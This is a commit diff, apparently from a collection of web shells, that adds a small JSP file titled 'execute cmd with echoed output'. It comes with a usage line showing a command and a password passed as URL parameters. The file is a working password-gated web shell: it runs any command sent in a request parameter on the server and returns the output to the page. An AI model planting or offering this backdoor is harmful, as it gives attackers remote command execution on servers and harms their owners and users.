Create 带回显执行cmd.jsp

hello.jsp?i=ls&pwd=023

Author: tutorial0

Jsp/带回显执行cmd.jsp

@@ -0,0 +1,10 @@
+<%   if("023".equals(request.getParameter("pwd"))){  
+        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
+        int a = -1;  
+        byte[] b = new byte[2048];  
+        out.print("<pre>");  
+        while((a=in.read(b))!=-1){  
+            out.println(new String(b));  
+        }  
+        out.print("</pre>");  
+    } %>